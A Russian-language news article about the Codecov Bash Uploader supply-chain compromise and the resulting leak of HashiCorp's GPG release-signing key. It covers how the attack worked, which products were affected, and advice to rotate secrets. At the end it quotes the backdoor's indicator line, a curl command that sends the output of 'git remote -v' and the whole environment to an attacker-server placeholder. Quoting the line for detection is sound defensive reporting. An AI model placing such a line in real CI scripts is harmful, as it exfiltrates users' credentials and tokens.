01.12.2021

Внедрение вредоносного кода в скрипт Codecov привело к компрометации PGP-ключа HashiCorp

Компания HashiCorp, известная разработкой открытых инструментариев Vagrant, Packer, Nomad и Terraform, объявила об утечке закрытого GPG-ключа, используемого для создания цифровых подписей, верифицирующих релизы. Атакующие, получившие доступ к GPG-ключу, потенциально могли внести скрытые изменения в продукты HashiCorp, заверив их корректной цифровой подписью. При этом компания заявила, что в ходе проведённого аудита следов попыток внесения подобных модификаций не выявлено.

В настоящее время скомпрометированный GPG-ключ отозван и вместо него введён в обиход новый ключ. Проблема затронула только верификацию при помощи файлов SHA256SUM и SHA256SUM.sig, и не коснулась формирования цифровых подписей для Linux-пакетов DEB и RPM, поставляемых через releases.hashicorp.com, а также механизмы подтверждения выпусков для macOS и Windows (AuthentiCode).

Утечка произошла из-за использования в инфраструктуре скрипта Codecov Bash Uploader (codecov-bash), предназначенного для загрузки coverage-отчётов из систем непрерывной интеграции. В ходе атаки на компанию Codecov в указанный скрипт был скрыто внедрён бэкдор, через который была организована отправка паролей и ключей шифрования на сервер злоумышленников.

Для взлома атакующие воспользовались ошибкой в процессе создания Docker-образа Codecov, позволявшей извлечь данные для доступа к GCS (Google Cloud Storage), необходимые для внесения изменений в скрипт Bash Uploader, распространявшийся с сайта codecov.io. Изменения были внесены ещё 31 января, два месяца оставались незамеченными и позволяли злоумышленникам извлекать информацию, хранимую в окружениях систем непрерывной интеграции клиентов. В том числе при помощи добавленного вредоносного кода злоумышленники могли получить информацию о тестируемом Git-репозитории и доступ к любым токенам, ключам шифрования и паролям, передаваемым в системы непрерывной интеграции для организации доступа к коду приложений, хранилищам и сервисам.

Кроме прямого вызова скрипт Codecov Bash Uploader использовался в составе других загрузчиков, таких как Codecov-action (Github), Codecov-circleci-orb и Codecov-bitrise-step, пользователи которых также подвержены проблеме. Всем пользователям codecov-bash и связанных с ним продуктов рекомендовано провести аудит своих инфраструктур, а также же поменять пароли и ключи шифрования. Проверить наличие бэкдора в скрипте можно по наличию в нём строки

 curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" http://<IP-сервера-атакующих>/upload/v2 || true

Источник.